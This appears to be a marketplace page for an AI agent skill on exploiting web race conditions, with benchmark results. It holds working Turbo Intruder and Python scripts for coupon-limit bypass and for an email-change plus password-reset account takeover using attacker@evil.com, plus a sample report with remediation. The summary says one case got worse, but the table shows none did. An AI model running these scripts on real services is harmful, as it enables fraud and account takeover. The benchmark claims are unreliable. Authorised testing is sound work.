Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.
.claude/skills/exploiting-race-condition-vulnerabilities/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-09 | ✗→✓ | ▲ Improved | — | — |
| case-08 | ✗→✓ | ▲ Improved | — | — |
| case-19 | ✗→✓ | ▲ Improved | — | — |
| case-07 | ✗→✓ | ▲ Improved | — | — |
| case-12 | ✓→✓ | = Same ✓ | — | — |
> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines
# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)python# Turbo Intruder script for single-packet race condition # This sends all requests simultaneously in one TCP packet def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2) # Queue 20 identical requests for the same operation for i in range(20): engine.queue(target.req, gate='race1') # Hold all requests until ready engine.openGate('race1') def handleResponse(req, interesting): table.add(req)
python# Turbo Intruder script for coupon/discount limit bypass def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=50, engine=Engine.BURP2) # Send 50 coupon redemption requests simultaneously for i in range(50): engine.queue(target.req, gate='coupon_race') engine.openGate('coupon_race') def handleResponse(req, interesting): # Flag successful redemptions (200 OK) if req.status == 200: table.add(req)
python# Race condition between two different endpoints # Example: Change email + trigger password reset simultaneously def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2) # Request 1: Change email to attacker@evil.com email_change = '''POST /api/change-email HTTP/2 Host: target.com Cookie: session=VALID_SESSION Content-Type: application/json {"email":"attacker@evil.com"}''' # Request 2: Trigger password reset (goes to original email) password_reset = '''POST /api/reset-password HTTP/2 Host: target.com Content-Type: application/json {"email":"victim@target.com"}''' engine.queue(email_change, gate='race1') engine.queue(password_reset, gate='race1') engine.openGate('race1') def handleResponse(req, interesting): table.add(req)
pythonimport threading import requests TARGET_URL = "http://target.com/api/redeem-coupon" COUPON_CODE = "DISCOUNT50" SESSION_COOKIE = "session=abc123" def send_request(): response = requests.post( TARGET_URL, json={"coupon": COUPON_CODE}, headers={"Cookie": SESSION_COOKIE}, timeout=10 ) print(f"Status: {response.status_code}, Response: {response.text[:100]}") # Create barrier to synchronize thread start barrier = threading.Barrier(20) def synchronized_request(): barrier.wait() # All threads wait here, then start together send_request() threads = [threading.Thread(target=synchronized_request) for _ in range(20)] for t in threads: t.start() for t in threads: t.join()
# In Turbo Intruder results:
# - Sort by status code to identify successful requests
# - Compare response lengths to find anomalies
# - Check if more than one request succeeded (limit overrun confirmed)
# - Verify backend state (balance, inventory, coupon count)
# Document the race window timing
# Successful race conditions typically require:
# - HTTP/2 single-packet attack: ~30 seconds to find
# - Last-byte sync (HTTP/1.1): ~2+ hours to find
# - Thread-based approach: Variable, less reliable| Concept | Description | |---------|-------------| | TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action | | Single-Packet Attack | Sending multiple HTTP/2 requests in one TCP packet for precise synchronization | | Last-Byte Sync | HTTP/1.1 technique holding final byte of multiple requests then releasing simultaneously | | Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic | | Hidden State Machine | Exploiting transitional states in multi-step application workflows | | Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously | | Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |
| Tool | Purpose | |------|---------| | Turbo Intruder | Burp Suite extension for high-speed race condition exploitation | | Burp Suite Repeater | Group send feature for basic race condition testing | | Nuclei | Template-based scanner with race condition detection templates | | Python threading | Custom multi-threaded race condition scripts | | racepwn | Dedicated race condition testing framework | | asyncio/aiohttp | Python async HTTP for concurrent request sending |
## Race Condition Assessment Report
- **Target**: http://target.com/api/redeem-coupon
- **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder
- **Concurrent Requests**: 20
- **Successful Exploitations**: 4 out of 20
### Findings
| # | Endpoint | Operation | Expected | Actual | Severity |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |
| 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |
### Race Window Analysis
- HTTP/2 single-packet: Reliable exploitation in <30 seconds
- Success rate: ~20% per batch of 20 requests
- Race window estimated: 50-100ms
### Remediation
- Implement database-level locking (SELECT FOR UPDATE) on critical operations
- Use optimistic concurrency control with version numbers
- Apply idempotency keys for state-changing requests
- Implement distributed locks for multi-server environments| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-09 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +18 percentage points is the difference between those two pass rates over the 22 comparable cases. 1 case got worse with the skill loaded, and it is included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.